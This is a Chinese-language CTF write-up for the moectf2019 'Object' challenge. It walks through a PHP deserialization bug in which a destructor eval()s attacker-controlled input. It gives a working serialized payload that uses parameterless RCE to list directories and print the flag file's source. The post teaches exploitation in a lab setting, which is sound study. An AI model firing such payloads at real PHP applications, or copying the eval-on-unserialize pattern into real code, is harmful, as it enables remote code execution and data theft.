首页 > 其他分享 >moectf2019 Object 反序列化

moectf2019 Object 反序列化

时间:2024-06-09 19:33:10浏览次数:30  
标签:cmd GET moectf2019 Object echo 对象 print 序列化

今天来个反序列化,看源码。

点击查看代码
 <?php
error_reporting(0);
//flag在flag.php里
class flag
{
    public $cmd='index.php';

    public function __destruct(){
        if (preg_match('/\w+\((?R)?\)/', $this->cmd)){
            eval('$a="'.$this->cmd.'";');
        }
        else {
            die('hack!!!');
        }
    }
}


if (!isset($_GET['fl']) || !isset($_GET['ag'])) {
    die(@highlight_file('index.php',true));
}
else {
    if (!(preg_match('/[A-Za-z0-9]+\(/i', $_GET['fl']))) {
        die('hack!!!');
    }
    else {
        echo unserialize($_GET['ag']);
    }
}  
经过了两个过滤,第一个过滤fl必须是x(样子的,而cmd中必须有x()样子的,那就构造。
点击查看代码
<?php

class flag
{
    public $cmd='index.php';
}

$a = new flag();
$a->cmd = '1";print_r(scandir(current(localeconv())));"';
echo serialize($a);

这里直接去打会发现返回的是空白。

这里涉及到一个知识点,打印一个对象时,如果定义了__toString()方法,就能在测试时,通过echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据。如果没有这个方法,那么echo一个对象时,就会报错Object of class Account could not be converted to string,实际上这是一个类型匹配失败的错误。不过仍然可以用print_r()和var_dump()函数输出一个对象,但我们不能改源码,而如果我们将其变为数组,value成为对象则可以正常输出。

点击查看代码
$obj = new flag();
$obj->cmd='1";print_r(scandir(current(localeconv())));"';
echo serialize(array(
    'a' => $obj
));
echo '<br>';
echo unserialize($_GET['a']);
这时我们将payload进行试验发现有回显了,最终payload:
点击查看代码
a:1:{s:1:"a";O:4:"flag":1:{s:3:"cmd";s:51:"1";show_source(scandir(current(localeconv()))[4]);"";}}
其实这里使用system也可以,只是我想到了无参数rce而已。 总结: 1. 若对象没有声明__toString方法不能直接echo出来,但可以使用print_r()和var_dump()来输出对象。 2. 无参数rce

标签:cmd,GET,moectf2019,Object,echo,对象,print,序列化
From: https://www.cnblogs.com/jocker-love-you/p/18239908

相关文章

  • Objective-C 学习笔记 | 基础
    Objective-C学习笔记|基础参考书:《Objective-C编程(第2版)》第1部分入门Objective-C语言是以C语言为基础的,但增加了对面向对象编程的支持。Objective-C语言是用来开发在苹果iOS以及OSX操作系统上运行的应用的编程语言。第2部分如何编程该部分讲解了C语言编程的必......
  • Qt 子线程调用connect/QMetaObject::invokeMethod 不调用槽函数问题
    在使用invokeMethod进行跨线程调用的时候,发现invokeMethod在某些情况下不能正常调用.经过查各种资料发现invokeMethod底层的调用逻辑是通过Qt事件循环处理,所以子线程需要显示的调用QEventLoop::exec()或者QCoreApplication::processEvents()执行信号槽处理.首先有一个QDemoObje......
  • 深入理解序列化:概念、应用与技术
    在计算机科学中,序列化(Serialization)是指将数据结构或对象状态转换为可存储或传输的格式的过程。这个过程允许将数据保存到文件、内存缓冲区,或通过网络传输至其他计算机环境,不受原始程序语言的限制。相对地,反序列化(Deserialization)则是将这种格式变回原来的数据结构或对象的......
  • python: 如何将方法对象和类实例对象序列化
    文章目录1.Json序列化2.Pickle序列化1.Json序列化在python中对于一般数据的序列化保存经常使用的就是json序列化json序列化可序列的对象:一般数据类型列表,字典,字符串,数字,布尔值,None等json可以序列化的对象类型: 基本数据类型: None 布尔值:True,False 数......
  • C# 使用Newtonsoft.Json的JsonProperty设置返回的Json数据列名/C# 通过实体类序列化生
    原文链接:https://blog.csdn.net/weixin_44917045/article/details/103236167         https://blog.csdn.net/bazinga_y/article/details/134416680在写分页的时候,返回Json数据给前台的时候,数据不能出来,原因就是Json数据的列名是大写的,而页面需要的是小写的。......
  • 序列化器(Serializers)踩坑记录
    1、data数据不能加'.values()'deflistParticulars(self,request,*args,**kwargs):particulars=xmind_particulars.objects.all()#不能加values()serializer=ParticularsSerializer(particulars,many=True)returnAPIRespones('......
  • 实体类为啥要序列化
     实体类实现Serializable的作用作用:第一个是便于存储,第二个是便于传输Serializable,之前一直有使用,默认的实体类就会实现Serializable接口,对具体原因一直不是很了解,同时如果没有实现序列化,同样没什么影响,什么时候应该进行序列化操作呢?今天查了下资料,大致总结一下。1、其实......
  • android gson 扩展, 序列化int类型被转double 问题
    importcom.google.gson.Gsonimportcom.google.gson.GsonBuilderimportcom.google.gson.ToNumberStrategyimportcom.google.gson.reflect.TypeTokenimportcom.google.gson.stream.JsonReaderimportjava.io.IOExceptionimportjava.lang.reflect.Typeimportjava.m......
  • 【DRF-10】rest-framework之序列化(数据校验)
    1.自定义classTitleValidator(object):def__init__(self,start):self.start=startdef__call__(self,value):ifnotvalue.startswith(self.start):message='标题必须以%s为开头。'%self.startraiseseria......
  • 【DRF-09】rest-framework之序列化(序列化)
    1.序列化用于对用户请求数据进行验证和数据进行序列化,本篇文章主要讲解序列化部分。1.1:序列化的意义:web有两种应用模式,一种是前后端不分离,一种是前后端分离,当前后端分离的时候,后端只需要向前端传输数据即可,不需要进行其他的操作,而restframework在前后端传输数据时,主要是jso......